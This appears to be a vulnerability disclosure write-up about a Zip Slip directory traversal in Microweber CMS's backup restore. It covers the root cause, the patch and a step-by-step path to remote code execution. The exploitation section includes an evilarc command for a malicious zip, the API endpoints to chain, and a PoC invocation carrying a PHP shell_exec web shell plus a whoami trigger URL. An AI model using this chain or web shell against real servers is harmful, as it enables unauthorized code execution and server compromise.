Microweber - Exploiting a Zip Slip
Introduction
Microweber is an open-source content management system (CMS) that aims to simplify building websites with a drag and drop interface. It’s a PHP-based CMS with built-in blogging and e-commerce capabilities. Microweber also has a modular expansion system which, along with other features, is managed via an admin panel.
A directory traversal vulnerability was discovered in the Backup restore functionality, that allows an attacker to write arbitrary files to the file system in the web server’s user context via a specifically crafted zip file.
The Vulnerability
The zip slip vulnerability was discovered while exploring functionality within the Backup.php
script. The related
advisory summary can be found here.
In Backup.php on line 335, the path to the temporary zip extraction directory is defined within the current cache path
of the application, and then passed in as the target_dir
for extraction.
Following the execution path, the actual extraction
of the zip occurs within the native_unzip
method starting on line 185 of Unzip.php. The directory traversal attack
occurs is on line 240 of Unzip.php, where the $target_file_to_save
variable is defined.
Zip files allow file names to be defined somewhat arbitrarily, which means that the $name
variable is controllable
by the user and potentially includes relative paths (e.g. ../). Defining $target_file_to_save
with the string
concatenation $target_dir . $name
makes this vulnerable to a Zip Slip
directory traversal attack in the absence of additional file path validation or sanitization. The result of the string
concatenation is opened as the output file for the archive entry contents on line 252.
Impact
The impact of this vulnerability is that arbitrary paths can be provided within the zip such as
../../../../payload.php
and allow arbitrary files contained within the zip to be written to arbitrary directories on
the server in the user context of the web server. While the default proof-of-concept writes a php file within the web
root for code execution, an attacker can write arbitrary files outside of the web root in the user context of the web
server as well. Additionally, the extracted filenames are not sanitized against the dangerous file extension list,
enabling an extension filter bypass.
Exploitation
The following steps walk through the necessary sequence to exploit the zip slip directory traversal vulnerability in order to gain remote code execution (RCE). A proof-of-concept exploit script is available here.
Step 1 - Login
In order to invoke all necessary APIs, a valid administrator user session must be present. Thus, an administrator username and password must be provided.
Step 2 - Create a malicious zip file
The zip slip approach is derived from ptoomey3’s evilarc project.
The proof-of-concept default payload is phpinfo() and is created using the Python native zipfile
module.
The payload is saved to <webroot>/userfiles/cache/
by default:
<?php phpinfo(); ?>
The equivalent command to create the zip with evilarc
is:
python evilarc.py -o unix -d 4 -f payload.zip payload.php -p userfiles/modules
Step 3 - Upload zip
Now that a malicious zip file has been created, it needs to be uploaded to the server. The file is uploaded as a
generic file via the /plupload
endpoint, and then moved into the backup directory in steps 4 & 5.
Step 4 - Determine webroot file path
Knowing the webroot is necessary in the subsequent step as an absolute filepath is required to move the file into the
backup directory. The webroot of the site is determined the ?debug=true
output on the landing page, matching against
the DefaultController.php path. Everything preceding /src
is the webroot on the server file system.
Step 5 - Move the uploaded to backup
A specific API endpoint /api/Microweber/Utils/Backup/move_uploaded_file_to_backup
exists to move files into the
backup directory, which is used to move the uploaded zip file into the backup directory.
Step 6 - Restore the backup
Now that the malicious zip file is uploaded and moved into place, it’s time to extract it and exploit the zip slip directory traversal vulnerability.
Utilizing the /api/Microweber/Utils/Backup/restore
endpoing with id=payload.zip
triggers an insecure extraction
of the zip file.
The Microweber/Utils/Backup/restore
function will attempt to extract the provided zip filename from the backup
directory, but does not properly sanitize extracted filenames to prevent a zip slip.
Since the directory created to extract the zip files is within the webroot with a consistent depth of 4 from the root
(/storage/cache/backup_restore/<md5 hash>/
), a directory traversal of depth 4 will yield the webroot for a
standard installation.
Step 7 - Profit! (i.e. Remote Code Execution)
As much as everyone loves a good phpinfo
page, shell_exec
is a much more interesting function to have access to
via a remote client.
Upload a shell_exec payload:
./microweber_rce.py --hostname "http://microwebertest.com" --username "admin" --password "password123" --payload '<?php if (isset($_REQUEST["fexec"])) {echo "<pre>" . shell_exec($_REQUEST["fexec"]) . "</pre>";} ?>'
Execute whoami
:
http://microwebertest.com/userfiles/cache/payload.php?fexec=whoami
With shell_exec
, an attacker can now download an execute an additional exploit and execute it. Or instead of
shell_exec
, and attacker could upload a PHP reverse shell directly.
The Fix
Microweber responded very quickly and had a patch committed within a few of hours of verifying the vulnerability.
The patch addresses the
vulnerability by skipping filenames containing ..
in the backup, and was applied to both the zip_open
and
gzinflate
extraction execution trees.